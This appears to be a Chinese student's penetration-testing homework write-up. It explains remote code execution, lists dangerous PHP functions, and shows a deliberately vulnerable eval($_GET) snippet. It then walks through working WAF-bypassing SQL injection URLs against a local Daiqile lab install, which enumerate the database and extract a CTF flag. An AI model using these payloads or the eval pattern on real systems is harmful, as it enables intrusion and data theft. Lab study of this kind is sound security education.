渗透第二次作业

目录

简述rce漏洞

可能产生rce漏洞的函数

RCE代码执行漏洞示例

贷齐乐系统多处SQL注入漏洞

​编辑

爆出库名

爆出表名

爆出表下的列名

查flag数据


简述rce漏洞

​ rce漏洞,即远程代码执行和远程命令执行漏洞。这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

可能产生rce漏洞的函数

1.PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

2.PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

3.PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

RCE代码执行漏洞示例

复制代码
<?php
        $code=$_GET['x'];
        eval($code);
?>

访问刚刚创建的php文件,参数后面的内容写为"phpinfo()".可以看到网页执行了phpinfo()语句并进行了回显。

访问刚刚创建的php文件,参数后面的内容写为"echo 123;".可以看到网页执行了echo 123语句并进行了回显

贷齐乐系统多处SQL注入漏洞

该漏洞基于错误的WAF引发的,同SQLi靶场中的29关到31关类似,但该漏洞是错误的WAF引起的,而29关到31关则是HTTP参数污染引起的。还是有些不同之处的,而这里是HPP全局参数污染以及PHP的一个特性。

单引号闭合

爆出库名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

爆出表名

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名

复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
复制代码
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1

查flag数据

复制代码
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

总结

PHP特性:在GET请求中,如果参数的键(key)包含点号(.),PHP会自动将其转换为下划线(_)。例如,参数i.d会被转换为i_d

相关推荐
法的空间8 小时前
Flutter JsonToDart 支持 JsonSchema
android·flutter·ios
循环不息优化不止8 小时前
深入解析安卓 Handle 机制
android
恋猫de小郭8 小时前
Android 将强制应用使用主题图标,你怎么看?
android·前端·flutter
jctech8 小时前
这才是2025年的插件化!ComboLite 2.0:为Compose开发者带来极致“爽”感
android·开源
用户2018792831678 小时前
为何Handler的postDelayed不适合精准定时任务?
android
叽哥9 小时前
Kotlin学习第 8 课:Kotlin 进阶特性:简化代码与提升效率
android·java·kotlin
Cui晨9 小时前
Android RecyclerView展示List<View> Adapter的数据源使用View
android
氦客9 小时前
Android Doze低电耗休眠模式 与 WorkManager
android·suspend·休眠模式·workmanager·doze·低功耗模式·state_doze
玲珑Felone9 小时前
从flutter源码看其渲染机制
android·flutter
诺诺Okami9 小时前
Android Framework-Launcher-数据的加载
android